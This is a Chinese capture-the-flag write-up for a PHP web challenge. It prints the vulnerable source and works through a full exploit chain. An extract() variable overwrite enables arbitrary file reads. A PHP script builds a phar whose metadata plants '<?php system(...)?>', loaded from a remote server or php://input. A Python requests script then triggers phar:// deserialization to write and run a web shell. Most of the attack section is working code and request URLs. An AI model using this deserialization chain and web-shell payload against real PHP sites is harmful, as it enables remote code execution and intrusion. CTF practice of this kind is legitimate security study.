<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
    mkdir($sandbox);
}

include_once('template.php');

$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');

if(isset($_GET['var']) && is_array($_GET['var'])) {
    extract($_GET['var'], EXTR_OVERWRITE);
} else {
    highlight_file(__file__);
    die();
}

if(isset($_GET['tp'])) {
    $tp = $_GET['tp'];
    if (array_key_exists($tp, $template) === FALSE) {
        echo "No! You only have 3 template to reader";
        die();
    }
    $content = file_get_contents($template[$tp]);
    $temp = new Template($content);
} else {
    echo "Please choice one template to reader";
}
?>

因为$tp可控,且存在变量覆盖漏洞(extract($_GET['var'], EXTR_OVERWRITE);),所以可以覆盖掉$template的第一个元素的键值,达到读取任意文件的效果。读取template.php:

http://8.129.41.25:10305/?var[template][tp1]=/var/www/html/template.php&tp=tp1

得到源代码如下:

<?php
class Template{
	public $content;
	public $pattern;
	public $suffix;

	public function __construct($content){
		$this->content = $content;
		$this->pattern = "/{{([a-z]+)}}/";
		$this->suffix = ".html";
	}

	public function __destruct() {
		$this->render();
	}
	public function render() {
		while (True) {
			if(preg_match($this->pattern, $this->content, $matches)!==1) 
				break;
			global ${$matches[1]};
			
			if(isset(${$matches[1]})) {
				$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
			} 
			else{
				break;
			}
		}
		if(strlen($this->suffix)>5) {
			echo "error suffix";
			die();
		}
		$filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
		file_put_contents($filename, $this->content);
		echo "Your html file is in " . $filename;
	}
}
?>

看到file_put_contents本意是想写🐎来着,但是$filename不可控,且$suffix变量锁死了,怎么都写不出php。卡了好久。

方法一

虽然这道题无上传文件的地方,但是存在文件读取函数(file_get_contents)且参数可控,又因为有可以利用的魔术方法,有file_get_contents函数,且没有过滤“phar”、“:”、“/”等关键字,所以可以利用phar进行反序列化RCE(感谢Match师傅,我是笨比)。

构造phar文件:

<?php
class Template{
	public $content;
	public $pattern;
	public $suffix;

	public function __construct($content){
		$this->content = '<?php system("ls /");?>';
		$this->pattern = "";
		$this->suffix = ".php";
	}
}
$o = new Template("123");
$filename = 'poc.phar';
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("shaw.txt",'test');
$phar->stopBuffering();
?>

生成phar文件后,把它放公网服务器上,然后利用题目的$var的变量覆盖漏洞,将$template的第一个元素的键值覆盖成该phar文件的地址:

http://8.129.41.25:10305/?var[template][tp1]=http://ip/poc.phar&tp=tp1
Your html file is in /var/www/html/uploads/xxx/xxx.html

这样就把poc.phar写进了html里,再将回显的绝对路径用phar://伪协议去访问,其覆盖掉了原先Template类中变量值,(”.html”也变成”.php”了)得到php文件。

访问php文件,得到命令(<?php system("ls");?>)执行后的结果:

同理,可执行<?php system("/readflag");?>得到flag。

方法二(正解)

和上面差不多,不过不需要公网服务器传了,是比赛时想到的方法。

可以将$template的第一个元素的值赋为php://input,其值就为POST的数据。

Template类中有这样一段:

while (True) {
	if(preg_match($this->pattern, $this->content, $matches)!==1) 
		break;
	global ${$matches[1]};
	
	if(isset(${$matches[1]})) {
		$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
	} 
	else{
		break;
	}
}

必须让$content满足$pattern的值的匹配条件,否则会退出。但是不满足的话,$matches[1]的值为NULL,为空则break:

if(isset(${$matches[1]})) {
		$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
	} 
	else{
		break;
}

利用$var的变量覆盖漏洞,就达到既不满足匹配条件又给$matches[1]赋值的目的。python测试脚本如下:

shaw = open(r"poc.phar",'rb')
url = "http://8.129.41.25:10305/?var[template][tp1]=php://input&var[matches][1]=123&tp=tp1"
a = requests.post(url=url,data=shaw.read())
#print(a.text)
url2 = "http://8.129.41.25:10305/?var[template][tp1]=phar:///var/www/html/uploads/xxx/xxx.html&tp=tp1"
b = requests.get(url2)
#print(b.text)

剩下同方法一。